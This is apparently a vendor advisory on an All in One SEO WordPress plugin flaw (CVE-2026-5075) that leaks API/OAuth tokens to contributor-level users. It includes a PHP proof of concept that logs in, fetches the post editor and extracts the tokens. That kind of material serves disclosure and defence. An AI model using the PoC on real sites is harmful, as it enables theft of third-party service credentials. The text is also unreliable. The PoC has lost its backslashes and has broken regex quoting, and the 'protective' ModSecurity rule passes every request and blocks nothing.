Atomic Edge analysis of CVE-2026-5075 (metadata-based): This vulnerability affects the All in One SEO plugin for WordPress versions up to and including 4.9.7. It exposes sensitive internal plugin options, including API/OAuth tokens and license values, through JavaScript localization data. The attack requires contributor-level authentication and achieves a CVSS score of 4.3 (Medium) due to low confidentiality impact.
The root cause is the plugin’s use of wp_localize_script() to pass internalOptions data to JavaScript in post editor contexts without proper masking for low-privilege users. The CWE-200 classification indicates this is an information exposure vulnerability. Based on the description, the plugin likely exports an object containing all internal configuration options, including sensitive tokens, rather than filtering these before localization. This is inferred from the metadata as no code diff is available.
An authenticated attacker with contributor access can exploit this by viewing the page source of any post editor page. The vulnerable data is output as a JavaScript object, typically in a tag within the HTML head or footer. The attacker simply needs to navigate to the post editor (e.g., /wp-admin/post.php?post=1&action=edit) and view the page source to find the localized script data containing the exposed token values.
Remediation requires filtering the internalOptions data before passing it to wp_localize_script(). The plugin should whitelist only non-sensitive options that are necessary for the frontend JavaScript to function. All token, license, and sensitive configuration values must be excluded for users without administrator privileges. Atomic Edge analysis recommends using a capability check before outputting any sensitive option values.
The primary impact is unauthorized access to API and OAuth tokens configured in the plugin. With these tokens, an attacker could potentially access third-party services like Google Search Console, social media APIs, or other integrated services configured through the plugin. This could lead to data theft, service manipulation, or further lateral movement within connected accounts.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-5075 (metadata-based)
SecRule REQUEST_URI "@unconditionalMatch" "id:20265075,phase:2,pass,nolog,skipAfter:END"
SecMarker END
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5075 - All in One SEO <= 4.9.7 - Authenticated (Contributor+) Sensitive Information Exposure via 'internalOptions' Localized Script Data
// This PoC demonstrates how a contributor-level attacker can extract exposed API tokens
// from the page source of a WordPress post editor.
// The vulnerability is inferred from CWE and description; no code diff is available.
// Configuration
$target_url = 'http://localhost/wordpress'; // Change this to your target WordPress URL
$username = 'contributor_user'; // Change to a contributor-level username
$password = 'user_password'; // Change to the user's password
// Step 1: Authenticate as contributor
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log%20In&redirect_to=' . urlencode($target_url . '/wp-admin/'));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$login_response = curl_exec($ch);
// Step 2: Access post editor to fetch the page containing localized script data
// This simulates an attacker viewing the source of any post edit page
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=post');
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
$editor_page = curl_exec($ch);
curl_close($ch);
// Step 3: Extract the localized script data containing internal options
// The target script block typically looks like:
// <script id='aioseo-js-extra'>
// var aioseo = {"internalOptions":{...}};
// </script>
preg_match('/<script[^>]*id=["']aioseo-js-extra["'][^>]*>.*?({.*?internalOptions.*?}).*?</script>/s', $editor_page, $matches);
if (isset($matches[1])) {
$localized_data = json_decode($matches[1], true);
if (isset($localized_data['internalOptions'])) {
echo "[+] Exposed internal options found!n";
print_r($localized_data['internalOptions']);
// Check for specific sensitive data
if (isset($localized_data['internalOptions']['license'])) {
echo "n[!] License information exposed!n";
}
if (isset($localized_data['internalOptions']['tokens'])) {
echo "n[!] API/OAuth tokens exposed!n";
}
} else {
echo "[-] No internalOptions found in localized data. Vulnerability may be patched.n";
}
} else {
echo "[-] Could not find aioseo localized script data.n";
echo "[*] The script may use a different ID or the vulnerability may not be present.n";
}
// Clean up
unlink('/tmp/cve_cookies.txt');